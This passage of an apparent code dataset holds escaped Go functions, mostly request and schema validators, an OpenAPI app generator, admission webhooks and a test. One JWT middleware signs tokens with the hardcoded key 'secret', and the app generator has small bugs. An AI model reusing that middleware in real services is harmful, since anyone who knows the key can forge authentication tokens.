body\"}`))\n\t\treturn\n\t}\n\n\ttype Test struct {\n\t\tEditing bool `datastore:\"editing\"`\n\t\tId string `datastore:\"id\"`\n\t\tImage string `datastore:\"image\"`\n\t}\n\n\tvar test Test\n\terr = json.Unmarshal(body, &test)\n\tif err != nil {\n\t\tlog.Printf(\"Failed unmarshalling test: %s\", err)\n\t\tresp.WriteHeader(401)\n\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\treturn\n\t}\n\n\t// Get an identifier\n\thasher := md5.New()\n\thasher.Write(body)\n\tnewmd5 := hex.EncodeToString(hasher.Sum(nil))\n\tif test.Editing {\n\t\t// Quick verification test\n\t\tctx := context.Background()\n\t\tapp, err := getApp(ctx, test.Id)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error getting app when editing: %s\", app.Name)\n\t\t\tresp.WriteHeader(401)\n\t\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\t\treturn\n\t\t}\n\n\t\t// FIXME: Check whether it's in use.\n\t\tif user.Id != app.Owner && user.Role != \"admin\" {\n\t\t\tlog.Printf(\"Wrong user (%s) for app %s when verifying swagger\", user.Username, app.Name)\n\t\t\tresp.WriteHeader(401)\n\t\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\t\treturn\n\t\t}\n\n\t\tlog.Printf(\"EDITING APP WITH ID %s\", app.ID)\n\t\tnewmd5 = app.ID\n\t}\n\n\t// Generate new app integration (bump version)\n\t// Test = client side with fetch?\n\n\tctx := context.Background()\n\t//client, err := storage.NewClient(ctx)\n\t//if err != nil {\n\t//\tlog.Printf(\"Failed to create client (storage): %v\", err)\n\t//\tresp.WriteHeader(401)\n\t//\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed creating client\"}`))\n\t//\treturn\n\t//}\n\n\tswagger, err := openapi3.NewSwaggerLoader().LoadSwaggerFromData(body)\n\tif err != nil {\n\t\tlog.Printf(\"Swagger validation error: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed verifying openapi\"}`))\n\t\treturn\n\t}\n\n\tif strings.Contains(swagger.Info.Title, \" \") {\n\t\tstrings.Replace(swagger.Info.Title, \" \", \"\", -1)\n\t}\n\n\tbasePath, err := buildStructure(swagger, newmd5)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to build base structure: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed building baseline structure\"}`))\n\t\treturn\n\t}\n\n\tlog.Printf(\"Should generate yaml\")\n\tapi, pythonfunctions, err := generateYaml(swagger, newmd5)\n\tif err != nil {\n\t\tlog.Printf(\"Failed building and generating yaml: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed building and parsing yaml\"}`))\n\t\treturn\n\t}\n\n\tapi.Owner = user.Id\n\tif len(test.Image) > 0 {\n\t\tapi.SmallImage = test.Image\n\t\tapi.LargeImage = test.Image\n\t}\n\n\terr = dumpApi(basePath, api)\n\tif err != nil {\n\t\tlog.Printf(\"Failed dumping yaml: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed dumping yaml\"}`))\n\t\treturn\n\t}\n\n\tidentifier := fmt.Sprintf(\"%s-%s\", swagger.Info.Title, newmd5)\n\tclassname := strings.Replace(identifier, \" \", \"\", -1)\n\tclassname = strings.Replace(classname, \"-\", \"\", -1)\n\tparsedCode, err := dumpPython(basePath, classname, swagger.Info.Version, pythonfunctions)\n\tif err != nil {\n\t\tlog.Printf(\"Failed dumping python: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed dumping appcode\"}`))\n\t\treturn\n\t}\n\n\tidentifier = strings.Replace(identifier, \" \", \"-\", -1)\n\tidentifier = strings.Replace(identifier, \"_\", \"-\", -1)\n\tlog.Printf(\"Successfully uploaded %s to bucket. Proceeding to cloud function\", identifier)\n\n\t// Now that the baseline is setup, we need to make it into a cloud function\n\t// 1. Upload the API to datastore for use\n\t// 2. Get code from baseline/app_base.py & baseline/static_baseline.py\n\t// 3. Stitch code together from these two + our new app\n\t// 4. Zip the folder to cloud storage\n\t// 5. Upload as cloud function\n\n\t// 1. Upload the API to datastore\n\terr = deployAppToDatastore(ctx, api)\n\tif err != nil {\n\t\tlog.Printf(\"Failed adding app to db: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed adding app to db\"}`))\n\t\treturn\n\t}\n\n\t// 2. Get all the required code\n\tappbase, staticBaseline, err := getAppbase()\n\tif err != nil {\n\t\tlog.Printf(\"Failed getting appbase: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed getting appbase code\"}`))\n\t\treturn\n\t}\n\n\t// Have to do some quick checks of the python code (:\n\t_, parsedCode = formatAppfile(parsedCode)\n\n\tfixedAppbase := fixAppbase(appbase)\n\trunner := getRunner(classname)\n\n\t// 2. Put it together\n\tstitched := string(staticBaseline) + strings.Join(fixedAppbase, \"\\n\") + parsedCode + string(runner)\n\t//log.Println(stitched)\n\n\t// 3. Zip and stream it directly in the directory\n\t_, err = streamZipdata(ctx, identifier, stitched, \"requests\\nurllib3\")\n\tif err != nil {\n\t\tlog.Printf(\"Zipfile error: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed to build zipfile\"}`))\n\t\treturn\n\t}\n\n\tlog.Printf(\"Successfully uploaded ZIPFILE for %s\", identifier)\n\n\t// 4. Upload as cloud function - this apikey is specifically for cloud functions rofl\n\t//environmentVariables := map[string]string{\n\t//\t\"FUNCTION_APIKEY\": apikey,\n\t//}\n\n\t//fullLocation := fmt.Sprintf(\"gs://%s/%s\", bucketName, applocation)\n\t//err = deployCloudFunctionPython(ctx, identifier, defaultLocation, fullLocation, environmentVariables)\n\t//if err != nil {\n\t//\tlog.Printf(\"Error uploading cloud function: %s\", err)\n\t//\tresp.WriteHeader(500)\n\t//\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed to upload function\"}`))\n\t//\treturn\n\t//}\n\n\t// 4. Build the image locally.\n\t// FIXME: Should be moved to a local docker registry\n\tdockerLocation := fmt.Sprintf(\"%s/Dockerfile\", basePath)\n\tlog.Printf(\"Dockerfile: %s\", dockerLocation)\n\n\tversionName := fmt.Sprintf(\"%s_%s\", strings.ReplaceAll(api.Name, \" \", \"-\"), api.AppVersion)\n\tdockerTags := []string{\n\t\tfmt.Sprintf(\"%s:%s\", baseDockerName, identifier),\n\t\tfmt.Sprintf(\"%s:%s\", baseDockerName, versionName),\n\t}\n\n\terr = buildImage(dockerTags, dockerLocation)\n\tif err != nil {\n\t\tlog.Printf(\"Docker build error: %s\", err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(fmt.Sprintf(`{\"success\": true, \"reason\": \"Error in Docker build\"}`)))\n\t\treturn\n\t}\n\n\tfound := false\n\tfoundNumber := 0\n\tlog.Printf(\"Checking for api with ID %s\", newmd5)\n\tfor appCounter, app := range user.PrivateApps {\n\t\tif app.ID == api.ID {\n\t\t\tfound = true\n\t\t\tfoundNumber = appCounter\n\t\t\tbreak\n\t\t} else if app.Name == api.Name && app.AppVersion == api.AppVersion {\n\t\t\tfound = true\n\t\t\tfoundNumber = appCounter\n\t\t\tbreak\n\t\t} else if app.PrivateID == test.Id && test.Editing {\n\t\t\tfound = true\n\t\t\tfoundNumber = appCounter\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Updating the user with the new app so that it can easily be retrieved\n\tif !found {\n\t\tuser.PrivateApps = append(user.PrivateApps, api)\n\t} else {\n\t\tuser.PrivateApps[foundNumber] = api\n\t}\n\n\terr = setUser(ctx, &user)\n\tif err != nil {\n\t\tlog.Printf(\"Failed adding verification for user %s: %s\", user.Username, err)\n\t\tresp.WriteHeader(500)\n\t\tresp.Write([]byte(fmt.Sprintf(`{\"success\": true, \"reason\": \"Failed updating user\"}`)))\n\t\treturn\n\t}\n\n\tlog.Println(len(user.PrivateApps))\n\tc, err := request.Cookie(\"session_token\")\n\tif err == nil {\n\t\tlog.Printf(\"Should've deleted cache for %s with token %s\", user.Username, c.Value)\n\t\t//err = memcache.Delete(request.Context(), c.Value)\n\t\t//err = memcache.Delete(request.Context(), user.ApiKey)\n\t}\n\n\tparsed := ParsedOpenApi{\n\t\tID: api.ID,\n\t\tBody: string(body),\n\t}\n\n\tsetOpenApiDatastore(ctx, api.ID, parsed)\n\terr = increaseStatisticsField(ctx, \"total_apps_created\", api.ID, 1)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to increase success execution stats: %s\", err)\n\t}\n\n\terr = increaseStatisticsField(ctx, \"openapi_apps_created\", api.ID, 1)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to increase success execution stats: %s\", err)\n\t}\n\n\tresp.WriteHeader(200)\n\tresp.Write([]byte(`{\"success\": true}`))\n}","func AddValidation(srv service.Service) error {\n\tvalidator := Validate(parser.Parse)\n\n\tsrv.Register(endpoint.NewValidation(\"v1/validate\", validator))\n\treturn nil\n}","func OapiValidatorFromYamlFile(path string) (fiber.Handler, error) {\n\n\tdata, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading %s: %s\", path, err)\n\t}\n\n\tswagger, err := openapi3.NewLoader().LoadFromData(data)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing %s as Swagger YAML: %s\",\n\t\t\tpath, err)\n\t}\n\n\treturn OapiRequestValidator(swagger), nil\n}","func (s *SwaggerSchema) Validate(obj *unstructured.Unstructured) []error {\n\tif obj.IsList() {\n\t\treturn s.validateList(obj.UnstructuredContent())\n\t}\n\tgvk := obj.GroupVersionKind()\n\treturn s.ValidateObject(obj.UnstructuredContent(), \"\", fmt.Sprintf(\"%s.%s\", gvk.Version, gvk.Kind))\n}","func ValidationMiddleware() func(Service) Service {\n\treturn func(next Service) Service {\n\t\treturn &validationMiddleware{\n\t\t\tService: next,\n\t\t}\n\t}\n}","func TestValidate1(t *testing.T) {\n\tendpoints := make(map[string]map[string]*Endpoint)\n\tendpoints[\"/test\"] = map[string]*Endpoint{\n\t\t\"get\": {\n\t\t\tParams: &Parameters{\n\t\t\t\tQuery: map[string]*ParamEntry{\"test\": {Type: \"string\", Required: true}},\n\t\t\t\tPath: map[string]*ParamEntry{\"test\": {Type: \"boolean\", Required: true}},\n\t\t\t},\n\t\t\tRecieves: &Recieves{\n\t\t\t\tHeaders: map[string]string{\"foo\": \"bar\"},\n\t\t\t\tBody: map[string]string{\"example_array.0.foo\": \"string\"},\n\t\t\t},\n\t\t\tResponses: map[int]*Response{\n\t\t\t\t200: {\n\t\t\t\t\tHeaders: map[string]string{\"foo\": \"bar\"},\n\t\t\t\t\tBody: map[string]interface{}{\"bar\": \"foo\"},\n\t\t\t\t\tWeight: 100,\n\t\t\t\t\tActions: []map[string]interface{}{\n\t\t\t\t\t\t{\"delay\": 10},\n\t\t\t\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tActions: []map[string]interface{}{\n\t\t\t\t{\"delay\": 10},\n\t\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Config{\n\t\tVersion: 1.0,\n\t\tServices: map[string]*Service{\n\t\t\t\"testService\": {Hostname: \"localhost\", Port: 8080},\n\t\t},\n\t\tStartupActions: []map[string]interface{}{\n\t\t\t{\"delay\": 10},\n\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t},\n\t\tRequests: map[string]*Request{\n\t\t\t\"testRequest\": {\n\t\t\t\tURL: \"/test\",\n\t\t\t\tProtocol: \"http\",\n\t\t\t\tMethod: \"get\",\n\t\t\t\tHeaders: map[string]string{\"foo\": \"bar\"},\n\t\t\t\tBody: nil,\n\t\t\t\tExpectedResponse: &Response{\n\t\t\t\t\tStatusCode: 200,\n\t\t\t\t\tBody: map[string]interface{}{\"foo.bar\": \"string\"},\n\t\t\t\t\tHeaders: nil,\n\t\t\t\t\tWeight: 100,\n\t\t\t\t\tActions: []map[string]interface{}{\n\t\t\t\t\t\t{\"delay\": 10},\n\t\t\t\t\t\t{\"request\": map[interface{}]interface{}{\"target\": \"testService\", \"id\": \"testRequest\"}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tEndpoints: endpoints,\n\t}\n\n\tif err := Validate(cfg); err != nil {\n\t\tt.Errorf(\"Validation Failed: %s\", err.Error())\n\t}\n}","func (mt *Vironapi) Validate() (err error) {\n\tif mt.Method == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"method\"))\n\t}\n\tif mt.Path == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"path\"))\n\t}\n\treturn\n}","func (s *Schema) validate(doc schema.JSONLoader) error {\n\tif s == nil || s.schema == nil {\n\t\treturn nil\n\t}\n\n\tdocErr, jsonErr := s.schema.Validate(doc)\n\tif jsonErr != nil {\n\t\treturn errors.Wrap(jsonErr, \"failed to load JSON data for validation\")\n\t}\n\tif docErr.Valid() {\n\t\treturn nil\n\t}\n\n\treturn &Error{Result: docErr}\n}","func ValidateMiddleware(next http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tauthorizationHeader := req.Header.Get(\"authorization\")\n\t\tif authorizationHeader != \"\" {\n\t\t\tbearerToken := strings.Split(authorizationHeader, \" \")\n\t\t\tif len(bearerToken) == 2 {\n\t\t\t\ttoken, error := jwt.Parse(bearerToken[1], func(token *jwt.Token) (interface{}, error) {\n\t\t\t\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"There was an error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn []byte(\"secret\"), nil\n\t\t\t\t})\n\t\t\t\tif error != nil {\n\t\t\t\t\tjson.NewEncoder(w).Encode(models.Exception{Message: error.Error()})\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif token.Valid {\n\t\t\t\t\tcontext.Set(req, \"decoded\", token.Claims)\n\n\t\t\t\t\tnext(w, req)\n\t\t\t\t} else {\n\t\t\t\t\tjson.NewEncoder(w).Encode(models.Exception{Message: \"Invalid authorization token\"})\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tjson.NewEncoder(w).Encode(models.Exception{Message: \"An authorization header is required\"})\n\t\t}\n\t})\n}","func validateLesson(lesson *models.Lesson) error {\n\n\tfile := lesson.LessonFile\n\n\t// Most of the validation heavy lifting should be done via JSON schema as much as possible.\n\t// This should be run first, and then only checks that can't be done with JSONschema will follow.\n\tif !lesson.JSValidate() {\n\t\tlog.Errorf(\"Basic schema validation failed on %s - see log for errors.\", file)\n\t\treturn errBasicValidation\n\t}\n\n\tseenEndpoints := map[string]string{}\n\tfor n := range lesson.Endpoints {\n\t\tep := lesson.Endpoints[n]\n\t\tif _, ok := seenEndpoints[ep.Name]; ok {\n\t\t\tlog.Errorf(\"Failed to import %s: - Endpoint %s appears more than once\", file, ep.Name)\n\t\t\treturn errDuplicateEndpoint\n\t\t}\n\t\tseenEndpoints[ep.Name] = ep.Name\n\t}\n\n\t// Endpoint-specific checks\n\tfor i := range lesson.Endpoints {\n\t\tep := lesson.Endpoints[i]\n\n\t\t// TODO(mierdin): Check to ensure the referenced image has been imported. This will require DB access\n\t\t// from this function.\n\n\t\t// Must EITHER provide additionalPorts, or Presentations. Endpoints without either are invalid.\n\t\tif len(ep.Presentations) == 0 && len(ep.AdditionalPorts) == 0 {\n\t\t\tlog.Error(\"No presentations configured, and no additionalPorts specified\")\n\t\t\treturn errInsufficientPresentation\n\t\t}\n\n\t\t// Perform configuration-related checks, if relevant\n\t\tif ep.ConfigurationType != \"\" {\n\n\t\t\t// Regular expressions for matching recognized config files by type\n\t\t\tfileMap := map[string]string{\n\t\t\t\t\"python\": fmt.Sprintf(`.*%s\\.py`, ep.Name),\n\t\t\t\t\"ansible\": fmt.Sprintf(`.*%s\\.yml`, ep.Name),\n\t\t\t\t\"napalm\": fmt.Sprintf(`.*%s-(junos|eos|iosxr|nxos|nxos_ssh|ios)\\.txt$`, ep.Name),\n\t\t\t}\n\n\t\t\tfor s := range lesson.Stages {\n\n\t\t\t\tconfigDir := fmt.Sprintf(\"%s/stage%d/configs/\", filepath.Dir(file), s)\n\t\t\t\tconfigFile := \"\"\n\t\t\t\terr := filepath.Walk(configDir, func(path string, info os.FileInfo, err error) error {\n\t\t\t\t\tvar validID = regexp.MustCompile(fileMap[ep.ConfigurationType])\n\t\t\t\t\tif validID.MatchString(path) {\n\t\t\t\t\t\tconfigFile = filepath.Base(path)\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\treturn nil\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Error(err)\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif configFile == \"\" || configFile == \".\" {\n\t\t\t\t\tlog.Errorf(\"Configuration file for endpoint '%s' was not found.\", ep.Name)\n\t\t\t\t\treturn errMissingConfigurationFile\n\t\t\t\t}\n\n\t\t\t\tlesson.Endpoints[i].ConfigurationFile = configFile\n\t\t\t}\n\t\t}\n\n\t\t// Ensure each presentation name is unique for each endpoint\n\t\tseenPresentations := map[string]string{}\n\t\tfor n := range ep.Presentations {\n\t\t\tif _, ok := seenPresentations[ep.Presentations[n].Name]; ok {\n\t\t\t\tlog.Errorf(\"Failed to import %s: - Presentation %s appears more than once for an endpoint\", file, ep.Presentations[n].Name)\n\t\t\t\treturn errDuplicatePresentation\n\t\t\t}\n\t\t\tseenPresentations[ep.Presentations[n].Name] = ep.Presentations[n].Name\n\t\t}\n\t}\n\n\t// Ensure all connections are referring to endpoints that are actually present in the definition\n\tfor c := range lesson.Connections {\n\t\tconnection := lesson.Connections[c]\n\n\t\tif !entityInLabDef(connection.A, lesson) {\n\t\t\tlog.Errorf(\"Failed to import %s: - Connection %s refers to nonexistent entity\", file, connection.A)\n\t\t\treturn errBadConnection\n\t\t}\n\n\t\tif !entityInLabDef(connection.B, lesson) {\n\t\t\tlog.Errorf(\"Failed to import %s: - Connection %s refers to nonexistent entity\", file, connection.B)\n\t\t\treturn errBadConnection\n\t\t}\n\t}\n\n\t// Iterate over stages, and retrieve lesson guide content\n\tfor l := range lesson.Stages {\n\t\ts := lesson.Stages[l]\n\n\t\tguideFileMap := map[string]string{\n\t\t\t\"markdown\": \".md\",\n\t\t\t\"jupyter\": \".ipynb\",\n\t\t}\n\n\t\tfileName := fmt.Sprintf(\"%s/stage%d/guide%s\", filepath.Dir(file), l, guideFileMap[string(s.GuideType)])\n\t\tcontents, err := ioutil.ReadFile(fileName)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"Encountered problem reading lesson guide: %s\", err)\n\t\t\treturn errMissingLessonGuide\n\t\t}\n\t\tlesson.Stages[l].GuideContents = string(contents)\n\t}\n\n\treturn nil\n}","func (v *ValidatingAdmission) Handle(ctx context.Context, req admission.Request) admission.Response {\n\tconfiguration := &configv1alpha1.ResourceExploringWebhookConfiguration{}\n\n\terr := v.decoder.Decode(req, configuration)\n\tif err != nil {\n\t\treturn admission.Errored(http.StatusBadRequest, err)\n\t}\n\tklog.V(2).Infof(\"Validating ResourceExploringWebhookConfiguration(%s) for request: %s\", configuration.Name, req.Operation)\n\n\tvar allErrors field.ErrorList\n\thookNames := sets.NewString()\n\tfor i, hook := range configuration.Webhooks {\n\t\tallErrors = append(allErrors, validateWebhook(&configuration.Webhooks[i], field.NewPath(\"webhooks\").Index(i))...)\n\t\tif hookNames.Has(hook.Name) {\n\t\t\tallErrors = append(allErrors, field.Duplicate(field.NewPath(\"webhooks\").Index(i).Child(\"name\"), hook.Name))\n\t\t\tcontinue\n\t\t}\n\t\thookNames.Insert(hook.Name)\n\t}\n\n\tif len(allErrors) != 0 {\n\t\tklog.Error(allErrors.ToAggregate())\n\t\treturn admission.Denied(allErrors.ToAggregate().Error())\n\t}\n\n\treturn admission.Allowed(\"\")\n}","func (r *RouteSpec) Validate(ctx context.Context) (errs *apis.FieldError) {\n\tif r.AppName == \"\" {\n\t\terrs = errs.Also(apis.ErrMissingField(\"appName\"))\n\t}\n\n\treturn errs.Also(r.RouteSpecFields.Validate(ctx).ViaField(\"routeSpecFields\"))\n}","func TestCmd_Validate_Issue1171(t *testing.T) {\n\tlog.SetOutput(io.Discard)\n\tdefer log.SetOutput(os.Stdout)\n\tv := ValidateSpec{}\n\tbase := filepath.FromSlash(\"../../../\")\n\tspecDoc := filepath.Join(base, \"fixtures\", \"bugs\", \"1171\", \"swagger.yaml\")\n\tresult := v.Execute([]string{specDoc})\n\tassert.Error(t, result)\n}","func AnalyzeSwagger(document *loads.Document, filter string, ignoreResourceVersion bool) (*stats.Coverage, error) {\n\tcoverage := stats.Coverage{\n\t\tEndpoints: make(map[string]map[string]*stats.Endpoint),\n\t}\n\n\tfor _, mp := range document.Analyzer.OperationMethodPaths() {\n\t\tv := strings.Split(mp, \" \")\n\t\tif len(v) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"Invalid method:path pair '%s'\", mp)\n\t\t}\n\t\tmethod, path := strings.ToLower(v[0]), strings.ToLower(v[1])\n\t\tparams := document.Analyzer.ParamsFor(method, path)\n\n\t\t// adjust name and namespace to simple format instead of copying regex from the swagger\n\t\tre := regexp.MustCompile(`{(namespace|name):\\[a-z0-9\\]\\[a-z0-9\\\\-\\]\\*}`)\n\t\tpath = re.ReplaceAllString(path, \"{$1}\")\n\n\t\tif ignoreResourceVersion {\n\t\t\ts := strings.Split(path, \"/\")\n\t\t\tif len(s) >= 4 && s[3] != \"\" {\n\t\t\t\ts[3] = \"*\"\n\t\t\t}\n\t\t\tpath = strings.Join(s, \"/\")\n\t\t}\n\n\t\t// filter requests uri\n\t\tif !strings.HasPrefix(path, filter) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := coverage.Endpoints[path]; !ok {\n\t\t\tcoverage.Endpoints[path] = make(map[string]*stats.Endpoint)\n\t\t}\n\n\t\tif _, ok := coverage.Endpoints[path][method]; !ok {\n\t\t\tcoverage.Endpoints[path][method] = &stats.Endpoint{\n\t\t\t\tParams: stats.Params{\n\t\t\t\t\tQuery: stats.NewTrie(),\n\t\t\t\t\tBody: stats.NewTrie(),\n\t\t\t\t},\n\t\t\t\tPath: path,\n\t\t\t\tMethod: method,\n\t\t\t\tExpectedUniqueHits: 1, // count endpoint calls\n\t\t\t}\n\t\t\tcoverage.ExpectedUniqueHits++\n\t\t}\n\n\t\taddSwaggerParams(coverage.Endpoints[path][method], params, document.Spec().Definitions)\n\t}\n\n\t// caclulate number of expected unique hits\n\tfor path, method := range coverage.Endpoints {\n\t\tfor name, endpoint := range method {\n\t\t\texpectedUniqueHits := endpoint.Params.Body.ExpectedUniqueHits + endpoint.Params.Query.ExpectedUniqueHits\n\t\t\tcoverage.ExpectedUniqueHits += expectedUniqueHits\n\t\t\tcoverage.Endpoints[path][name].ExpectedUniqueHits += expectedUniqueHits\n\t\t}\n\t}\n\n\treturn &coverage, nil\n}","func (o *DocumentUpdateNotFoundBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Error404Data\n\tif err := o.Error404Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func validateSchema(report Report, json []byte, schemaConfig SchemaConfig) Report {\n\tv, err := validator.New(schemaConfig.Locations, schemaConfig.ValidatorOpts)\n\tif err != nil {\n\t\treport.Message += fmt.Sprintf(\"failed initializing validator: %s\", err)\n\t\treturn report\n\t}\n\n\tf := io.NopCloser(bytes.NewReader(json))\n\tfor _, res := range v.Validate(report.FileName, f) {\n\t\t// A file might contain multiple resources\n\t\t// File starts with ---, the parser assumes a first empty resource\n\t\tif res.Status == validator.Invalid {\n\t\t\treport.Message += res.Err.Error() + \"\\n\"\n\t\t}\n\t\tif res.Status == validator.Error {\n\t\t\treport.Message += res.Err.Error()\n\t\t}\n\t}\n\n\treturn report\n}","func (v *Validator) Handle(ctx context.Context, req types.Request) types.Response {\n\tboshDeployment := &bdv1.BOSHDeployment{}\n\n\terr := v.decoder.Decode(req, boshDeployment)\n\tif err != nil {\n\t\treturn types.Response{}\n\t}\n\n\tlog.Debug(ctx, \"Resolving manifest\")\n\tresolver := bdm.NewResolver(v.client, func() bdm.Interpolator { return bdm.NewInterpolator() })\n\n\tfor _, opsItem := range boshDeployment.Spec.Ops {\n\t\tresourceExist, msg := v.OpsResourceExist(ctx, opsItem, boshDeployment.Namespace)\n\t\tif !resourceExist {\n\t\t\treturn types.Response{\n\t\t\t\tResponse: &v1beta1.AdmissionResponse{\n\t\t\t\t\tAllowed: false,\n\t\t\t\t\tResult: &metav1.Status{\n\t\t\t\t\t\tMessage: msg,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t}\n\n\t_, err = resolver.WithOpsManifest(boshDeployment, boshDeployment.GetNamespace())\n\tif err != nil {\n\t\treturn types.Response{\n\t\t\tResponse: &v1beta1.AdmissionResponse{\n\t\t\t\tAllowed: false,\n\t\t\t\tResult: &metav1.Status{\n\t\t\t\t\tMessage: fmt.Sprintf(\"Failed to resolve manifest: %s\", err.Error()),\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\treturn types.Response{\n\t\tResponse: &v1beta1.AdmissionResponse{\n\t\t\tAllowed: true,\n\t\t},\n\t}\n}","func (r *ListFilesRequest) Validate() error {\n\tif err := requireProject(r.GetProject()); err != nil {\n\t\treturn err\n\t}\n\tif err := requireCommittish(\"committish\", r.GetCommittish()); err != nil {\n\t\treturn err\n\t}\n\tif strings.HasSuffix(r.GetCommittish(), \"/\") {\n\t\treturn errors.New(\"committish must not end with /\")\n\t}\n\tif strings.HasPrefix(r.Path, \"/\") {\n\t\treturn errors.New(\"path must not start with /\")\n\t}\n\treturn nil\n}","func (s *Server) validate() grpc.UnaryServerInterceptor {\n\treturn func(ctx context.Context, req interface{}, args *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) {\n\t\tif err = validate.Struct(req); err != nil {\n\t\t\terr = ecode.Error(ecode.RequestErr, err.Error())\n\t\t\treturn\n\t\t}\n\t\tresp, err = handler(ctx, req)\n\t\treturn\n\t}\n}","func (h *Handler) Validate() error {\n\treturn nil\n}","func (o *WeaviateAPI) Validate() error {\n\tvar unregistered []string\n\n\tif o.JSONConsumer == nil {\n\t\tunregistered = append(unregistered, \"JSONConsumer\")\n\t}\n\tif o.YamlConsumer == nil {\n\t\tunregistered = append(unregistered, \"YamlConsumer\")\n\t}\n\n\tif o.JSONProducer == nil {\n\t\tunregistered = append(unregistered, \"JSONProducer\")\n\t}\n\n\tif o.OidcAuth == nil {\n\t\tunregistered = append(unregistered, \"OidcAuth\")\n\t}\n\n\tif o.WellKnownGetWellKnownOpenidConfigurationHandler == nil {\n\t\tunregistered = append(unregistered, \"well_known.GetWellKnownOpenidConfigurationHandler\")\n\t}\n\tif o.BackupsBackupsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsCreateHandler\")\n\t}\n\tif o.BackupsBackupsCreateStatusHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsCreateStatusHandler\")\n\t}\n\tif o.BackupsBackupsRestoreHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsRestoreHandler\")\n\t}\n\tif o.BackupsBackupsRestoreStatusHandler == nil {\n\t\tunregistered = append(unregistered, \"backups.BackupsRestoreStatusHandler\")\n\t}\n\tif o.BatchBatchObjectsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"batch.BatchObjectsCreateHandler\")\n\t}\n\tif o.BatchBatchObjectsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"batch.BatchObjectsDeleteHandler\")\n\t}\n\tif o.BatchBatchReferencesCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"batch.BatchReferencesCreateHandler\")\n\t}\n\tif o.ClassificationsClassificationsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"classifications.ClassificationsGetHandler\")\n\t}\n\tif o.ClassificationsClassificationsPostHandler == nil {\n\t\tunregistered = append(unregistered, \"classifications.ClassificationsPostHandler\")\n\t}\n\tif o.GraphqlGraphqlBatchHandler == nil {\n\t\tunregistered = append(unregistered, \"graphql.GraphqlBatchHandler\")\n\t}\n\tif o.GraphqlGraphqlPostHandler == nil {\n\t\tunregistered = append(unregistered, \"graphql.GraphqlPostHandler\")\n\t}\n\tif o.MetaMetaGetHandler == nil {\n\t\tunregistered = append(unregistered, \"meta.MetaGetHandler\")\n\t}\n\tif o.NodesNodesGetHandler == nil {\n\t\tunregistered = append(unregistered, \"nodes.NodesGetHandler\")\n\t}\n\tif o.NodesNodesGetClassHandler == nil {\n\t\tunregistered = append(unregistered, \"nodes.NodesGetClassHandler\")\n\t}\n\tif o.ObjectsObjectsClassDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassDeleteHandler\")\n\t}\n\tif 